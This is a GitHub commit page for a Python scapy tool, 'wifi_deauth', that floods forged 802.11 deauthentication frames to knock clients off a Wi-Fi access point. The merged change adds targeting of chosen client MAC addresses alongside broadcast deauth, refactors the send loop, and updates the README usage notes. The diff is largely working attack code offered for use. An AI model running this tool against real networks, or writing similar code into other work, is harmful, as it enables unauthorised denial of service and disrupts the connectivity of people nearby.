Skip to content

Commit ba18836

Browse files
authored
Merge pull request #13 from flashnuke/feat/custom_mac
Feat/custom mac
2 parents 04df1d8 + 3f8103b commit ba18836

File tree

2 files changed

+82
-22
lines changed

2 files changed

+82
-22
lines changed

README.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -45,13 +45,15 @@ sudo python3 wifi_deauth.py -i <iface>
4545
### Optional arguments
4646
* `--bssid <name>` - filter for a specific BSSID (this should shorten the channel-scanning duration), beware that the name is case-sensitive and whitespaces should be passed with an escape character (i.e -> `new\ york`)
4747
* `--channels <ch1,ch2>` - scan for specific channels only, otherwise all supported channels will be scanned
48+
* `--clients <m_addr1,m_addr2>` - target only specific clients to disconnect from the AP, otherwise all connected clients will be targeted (note: using this option disables deauth broadcast)
4849
* `--kill` (or run `sudo systemctl stop NetworkManager`) - kill NetworkManager service which might interfere with the attack
4950
* `--skip-monitormode` - enable monitor mode manually (otherwise the program does it automatically)
5051

5152
### Misc notes
5253
* Check `ifconfig` to find the interface nickname
5354
* Works for 2.4GHhz and 5Ghz
5455
* Beware that some access points have protections against this kind of attack and therefore it might not work on them
56+
* Setting custom client mac addresses (`--clients`) is not suggested, as some clients might reconnect using a random MAC address which is different than the one set
5557

5658
### Requirements
5759
* Linux OS

wifi_deauth/wifi_deauth.py

Lines changed: 80 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
import signal
44
import logging
55
import argparse
6+
import threading
67

78
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # suppress warnings
89

@@ -32,7 +33,8 @@
3233
class Interceptor:
3334
_ABORT = False
3435

35-
def __init__(self, net_iface, skip_monitor_mode_setup, kill_networkmanager, bssid_name, custom_channels):
36+
def __init__(self, net_iface, skip_monitor_mode_setup, kill_networkmanager,
37+
bssid_name, custom_client_macs, custom_channels):
3638
self.interface = net_iface
3739
self._channel_sniff_timeout = 2
3840
self._scan_intv = 0.1
@@ -65,9 +67,13 @@ def __init__(self, net_iface, skip_monitor_mode_setup, kill_networkmanager, bssi
6567
self._all_ssids: Dict[BandType, Dict[str, SSID]] = {band: dict() for band in BandType}
6668

6769
self._custom_bssid_name: Union[str, None] = self.parse_custom_bssid_name(bssid_name)
70+
self._custom_target_client_mac: Union[List[str], None] = self.parse_custom_client_mac(custom_client_macs)
6871
self._custom_bssid_channels: List[int] = self.parse_custom_channels(custom_channels)
6972
self._custom_bssid_last_ch = 0 # to avoid overlapping
7073

74+
self._midrun_output_buffer: List[str] = list()
75+
self._midrun_output_lck = threading.RLock()
76+
7177
@staticmethod
7278
def parse_custom_bssid_name(bssid_name: Union[None, str]) -> Union[None, str]:
7379
if bssid_name is not None:
@@ -77,6 +83,28 @@ def parse_custom_bssid_name(bssid_name: Union[None, str]) -> Union[None, str]:
7783
raise Exception("Invalid BSSID name")
7884
return bssid_name
7985

86+
@staticmethod
87+
def verify_mac_addr(mac_addr: str) -> str:
88+
try:
89+
RandMAC(mac_addr)
90+
return mac_addr
91+
except Exception as exc:
92+
print_error(f"Invalid custom client mac address -> {mac_addr}")
93+
raise Exception("Bad custom client mac address")
94+
95+
@staticmethod
96+
def parse_custom_client_mac(client_mac_addrs: Union[None, str]) -> List[str]:
97+
custom_client_mac_list = list()
98+
if client_mac_addrs is not None:
99+
custom_client_mac_list = [Interceptor.verify_mac_addr(mac) for mac in client_mac_addrs.split(',')]
100+
101+
if custom_client_mac_list:
102+
print_info(f"Disabling broadcast deauth, attacking custom clients instead: {custom_client_mac_list}")
103+
else:
104+
print_info(f"No custom clients selected, enabling broadcast deauth and attacking all connected clients")
105+
106+
return custom_client_mac_list
107+
80108
def parse_custom_channels(self, channel_list: Union[None, str]):
81109
ch_list = list()
82110
if channel_list is not None:
@@ -101,6 +129,7 @@ def _enable_monitor_mode(self):
101129
f"sudo ip link set {self.interface} up"]:
102130
print_cmd(f"Running command -> '{BOLD}{cmd}{RESET}'")
103131
if os.system(cmd):
132+
os.system(f"sudo ip link set {self.interface} up") # re-enable iface if needed
104133
return False
105134
return True
106135

@@ -215,11 +244,26 @@ def _clients_sniff_cb(self, pkt):
215244
ap_mac = str(pkt.addr3)
216245
if ap_mac == self.target_ssid.mac_addr:
217246
c_mac = pkt.addr1
218-
if c_mac != BD_MACADDR and c_mac not in self.target_ssid.clients:
247+
if c_mac not in [BD_MACADDR, self.target_ssid.mac_addr] and c_mac not in self.target_ssid.clients:
219248
self.target_ssid.clients.append(c_mac)
249+
add_to_target_list = len(self._custom_target_client_mac) == 0 or c_mac in self._custom_target_client_mac
250+
with self._midrun_output_lck:
251+
self._midrun_output_buffer.append(f"Found new client {BOLD}{c_mac}{RESET},"
252+
f" adding to target list -> "
253+
f"{GREEN if add_to_target_list else RED}{add_to_target_list}{RESET}")
220254
except:
221255
pass
222256

257+
def _print_midrun_output(self):
258+
bf_sz = len(self._midrun_output_buffer)
259+
with self._midrun_output_lck:
260+
for output in self._midrun_output_buffer:
261+
print_cmd(output)
262+
if bf_sz > 0:
263+
printf(DELIM, end="\n")
264+
bf_sz += 1
265+
return bf_sz
266+
223267
@staticmethod
224268
def _packet_confirms_client(pkt):
225269
return (pkt.haslayer(Dot11AssoResp) and pkt[Dot11AssoResp].status == 0) or \
@@ -230,57 +274,67 @@ def _listen_for_clients(self):
230274
print_info(f"Setting up a listener for new clients...")
231275
sniff(prn=self._clients_sniff_cb, iface=self.interface, stop_filter=lambda p: Interceptor._ABORT is True)
232276

277+
def _get_target_clients(self) -> List[str]:
278+
return self._custom_target_client_mac or self.target_ssid.clients
279+
233280
def _run_deauther(self):
234281
try:
235282
print_info(f"Starting de-auth loop...")
236283

237284
ap_mac = self.target_ssid.mac_addr
238-
239-
rd_frm = RadioTap()
240-
deauth_frm = Dot11Deauth(reason=7)
241285
while not Interceptor._ABORT:
242286
self.attack_loop_count += 1
243-
sendp(rd_frm /
244-
Dot11(addr1=BD_MACADDR, addr2=ap_mac, addr3=ap_mac) /
245-
deauth_frm,
246-
iface=self.interface)
247-
for client_mac in self.target_ssid.clients:
248-
sendp(rd_frm /
249-
Dot11(addr1=client_mac, addr2=ap_mac, addr3=ap_mac) /
250-
deauth_frm,
251-
iface=self.interface)
252-
sendp(rd_frm /
253-
Dot11(addr1=ap_mac, addr2=ap_mac, addr3=client_mac) /
254-
deauth_frm,
255-
iface=self.interface)
287+
for client_mac in self._get_target_clients():
288+
self._send_deauth_client(ap_mac, client_mac)
289+
if not self._custom_target_client_mac:
290+
self._send_deauth_broadcast(ap_mac)
256291
sleep(self._deauth_intv)
257292
except Exception as exc:
258293
print_error(f"Exception in deauth-loop -> {traceback.format_exc()}")
259294
Interceptor._ABORT = True
260295
exit(0)
261296

297+
def _send_deauth_client(self, ap_mac: str, client_mac: str):
298+
sendp(RadioTap() /
299+
Dot11(addr1=client_mac, addr2=ap_mac, addr3=ap_mac) /
300+
Dot11Deauth(reason=7),
301+
iface=self.interface)
302+
sendp(RadioTap() /
303+
Dot11(addr1=ap_mac, addr2=ap_mac, addr3=client_mac) /
304+
Dot11Deauth(reason=7),
305+
iface=self.interface)
306+
307+
def _send_deauth_broadcast(self, ap_mac: str):
308+
sendp(RadioTap() /
309+
Dot11(addr1=BD_MACADDR, addr2=ap_mac, addr3=ap_mac) /
310+
Dot11Deauth(reason=7),
311+
iface=self.interface)
312+
262313
def run(self):
263314
self.target_ssid = self._start_initial_ap_scan()
264315
ssid_ch = self.target_ssid.channel
265316
print_info(f"Attacking target {self.target_ssid.name}")
266317
print_info(f"Setting channel -> {ssid_ch}")
267318
self._set_channel(ssid_ch)
268319

320+
printf(f"{DELIM}\n")
269321
for action in [self._run_deauther, self._listen_for_clients]:
270322
t = Thread(target=action, args=tuple(), daemon=True)
271323
t.start()
272324

273-
printf(f"{DELIM}\n")
274325
start = get_time()
326+
printf(f"{DELIM}\n")
327+
275328
while not Interceptor._ABORT:
329+
buffer_sz = self._print_midrun_output()
276330
print_info(f"Target SSID{self.target_ssid.name.rjust(80 - 15, ' ')}")
277331
print_info(f"Channel{str(ssid_ch).rjust(80 - 11, ' ')}")
278332
print_info(f"MAC addr{self.target_ssid.mac_addr.rjust(80 - 12, ' ')}")
279333
print_info(f"Net interface{self.interface.rjust(80 - 17, ' ')}")
280-
print_info(f"Confirmed clients{BOLD}{str(len(self.target_ssid.clients)).rjust(80 - 21, ' ')}{RESET}")
334+
print_info(f"Target clients{BOLD}{str(len(self._get_target_clients())).rjust(80 - 18, ' ')}{RESET}")
281335
print_info(f"Elapsed sec {BOLD}{str(get_time() - start).rjust(80 - 16, ' ')}{RESET}")
282336
sleep(self._printf_res_intv)
283-
clear_line(7)
337+
clear_line(7 + buffer_sz)
284338

285339
@staticmethod
286340
def user_abort(*args):
@@ -315,7 +369,10 @@ def main():
315369
action='store_true', default=False, dest="kill_networkmanager", required=False)
316370
parser.add_argument('-b', '--bssid', help='custom BSSID name (case-sensitive)', metavar="bssid_name",
317371
action='store', default=None, dest="custom_bssid", required=False)
318-
parser.add_argument('-c', '--channels', help='custom channels to scan, separated by a comma (i.e -> 1,3,4)',
372+
parser.add_argument('-cm', '--clients', help='MAC addresses of target clients to disconnect,'
373+
' separated by a comma (i.e -> 00:1A:2B:3C:4D:5G,00:1a:2b:3c:4d:5e)', metavar="client_mac_addrs",
374+
action='store', default=None, dest="custom_client_macs", required=False)
375+
parser.add_argument('-ch', '--channels', help='custom channels to scan, separated by a comma (i.e -> 1,3,4)',
319376
metavar="ch1,ch2", action='store', default=None, dest="custom_channels", required=False)
320377
pargs = parser.parse_args()
321378

@@ -324,6 +381,7 @@ def main():
324381
skip_monitor_mode_setup=pargs.skip_monitormode,
325382
kill_networkmanager=pargs.kill_networkmanager,
326383
bssid_name=pargs.custom_bssid,
384+
custom_client_macs=pargs.custom_client_macs,
327385
custom_channels=pargs.custom_channels)
328386
attacker.run()
329387

0 commit comments

Comments
 (0)